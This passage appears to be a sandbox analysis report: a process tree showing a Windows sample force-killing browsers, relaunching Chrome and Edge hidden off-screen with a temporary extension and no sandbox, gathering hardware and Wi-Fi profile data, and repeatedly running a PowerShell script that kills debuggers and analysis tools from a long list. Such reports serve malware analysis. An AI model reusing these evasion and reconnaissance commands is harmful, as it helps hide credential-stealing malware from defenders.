    PID:540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:3604
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM slimjet.exe /T
    3⤵
    - Kills process with taskkill
    PID:660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM centbrowser.exe /T"
  2⤵
  PID:3940
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM centbrowser.exe /T
    3⤵
    - Kills process with taskkill
    PID:4288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:3184
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coccoc.exe /T
    3⤵
    - Kills process with taskkill
    PID:1472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM iridium.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:1152
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM iridium.exe /T
    3⤵
    - Kills process with taskkill
    PID:3552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM dcbrowser.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:3688
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM dcbrowser.exe /T
    3⤵
    - Kills process with taskkill
    PID:4040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ur.exe /T"
  2⤵
  PID:600
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ur.exe /T
    3⤵
    - Kills process with taskkill
    PID:1796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM epic.exe /T"
  2⤵
  PID:3568
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM epic.exe /T
    3⤵
    - Kills process with taskkill
    PID:1380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "timeout /t 1"
  2⤵
  - Executes a command shell one-liner
  PID:4568
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:3876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --load-extension=C:\Users\Admin\AppData\Local\Temp\skext_eq549tnyzrb --disable-extensions-except=C:\Users\Admin\AppData\Local\Temp\skext_eq549tnyzrb --no-first-run --no-default-browser-check --window-position=-32000,-32000 --window-size=100,100 --disable-features=BraveNews,BraveRewards,BraveAds --no-sandbox --disable-setuid-sandbox
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  PID:3884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffdc4b1c728,0x7ffdc4b1c734,0x7ffdc4b1c740
    3⤵
    PID:4824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1680,i,17680336719393334711,682119837948180611,262144 --field-trial-handle=2104,i,15171979678380949447,13974323651670432505,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2100 /prefetch:2
    3⤵
    PID:2984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1584,i,7522907113026103498,18081014356723578235,524288 --field-trial-handle=2104,i,15171979678380949447,13974323651670432505,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2236 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=2332,i,15086560509979407326,13250883098129316916,524288 --field-trial-handle=2104,i,15171979678380949447,13974323651670432505,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2964 /prefetch:8
    3⤵
    PID:2500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2860,i,4597442208003647903,10160204951050050145,2097152 --field-trial-handle=2104,i,15171979678380949447,13974323651670432505,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2980 /prefetch:1
    3⤵
    PID:4604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2876,i,14040883612920121226,6229264798018739374,2097152 --field-trial-handle=2104,i,15171979678380949447,13974323651670432505,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2988 /prefetch:1
    3⤵
    PID:2496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4128,i,14834121549666289637,16100721743260381114,2097152 --field-trial-handle=2104,i,15171979678380949447,13974323651670432505,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3508 /prefetch:1
    3⤵
    PID:5224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  PID:4140
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:3016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  - Executes a command shell one-liner
  PID:2216
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance Win32_LogicalDisk -Filter 'DriveType=3' | ForEach-Object { $_.DeviceID+','+$_.FreeSpace+','+$_.Size }""
  2⤵
  PID:3264
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance Win32_LogicalDisk -Filter 'DriveType=3' | ForEach-Object { $_.DeviceID+','+$_.FreeSpace+','+$_.Size }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:5148
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_OperatingSystem).Caption""
  2⤵
  - Executes a command shell one-liner
  PID:5316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-CimInstance Win32_OperatingSystem).Caption"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_Processor | Select-Object -First 1).Name""
  2⤵
  PID:5516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-CimInstance Win32_Processor | Select-Object -First 1).Name"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController | Select-Object -ExpandProperty Name) -join ', '""
  2⤵
  - Executes a command shell one-liner
  PID:5704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController | Select-Object -ExpandProperty Name) -join ', '"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_ComputerSystemProduct).UUID""
  2⤵
  PID:5908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  PID:6100
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:5132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  - Executes a command shell one-liner
  PID:540
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  PID:5344
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1136
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:5480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  PID:5392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  PID:5644
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:5552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  PID:5804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /PID 3884 /T"
  2⤵
  PID:5748
- - C:\Windows\system32\taskkill.exe
    taskkill /F /PID 3884 /T
    3⤵
    - Kills process with taskkill
    PID:2812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:6044
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:6000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --load-extension=C:\Users\Admin\AppData\Local\Temp\skext_ucb9wmozbns --disable-extensions-except=C:\Users\Admin\AppData\Local\Temp\skext_ucb9wmozbns --no-first-run --no-default-browser-check --window-position=-32000,-32000 --window-size=100,100 --disable-features=BraveNews,BraveRewards,BraveAds --no-sandbox --disable-setuid-sandbox
  2⤵
  - Enumerates system info in registry
  - Suspicious use of FindShellTrayWindow
  PID:5140
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x25c,0x7ffdc494c188,0x7ffdc494c194,0x7ffdc494c1a0
    3⤵
    PID:6140
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1784,i,2750946263858969737,13209726214972781853,262144 --field-trial-handle=2360,i,17286694042009952046,17219077041615850525,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:2
    3⤵
    PID:5444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1908,i,14702678547831767666,13043022910997025737,524288 --field-trial-handle=2360,i,17286694042009952046,17219077041615850525,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:3
    3⤵
    - System Time Discovery
    PID:5432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2532,i,2056816981875436444,18200189461436360510,524288 --field-trial-handle=2360,i,17286694042009952046,17219077041615850525,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version --mojo-platform-channel-handle=3172 /prefetch:8
    3⤵
    PID:5464
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3276,i,16348113825505165100,18296823367561638896,2097152 --field-trial-handle=2360,i,17286694042009952046,17219077041615850525,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:1
    3⤵
    PID:5656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3292,i,6372413684084627519,5307696030854550693,2097152 --field-trial-handle=2360,i,17286694042009952046,17219077041615850525,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:1
    3⤵
    PID:5604
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3780,i,7517450701787498451,798004395523923797,2097152 --field-trial-handle=2360,i,17286694042009952046,17219077041615850525,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:1
    3⤵
    PID:5852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=3788,i,18158505687307765775,252659578891139071,2097152 --field-trial-handle=2360,i,17286694042009952046,17219077041615850525,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:2
    3⤵
    PID:5900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3800,i,885018193959475330,17009132476701916287,2097152 --field-trial-handle=2360,i,17286694042009952046,17219077041615850525,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version --mojo-platform-channel-handle=4312 /prefetch:1
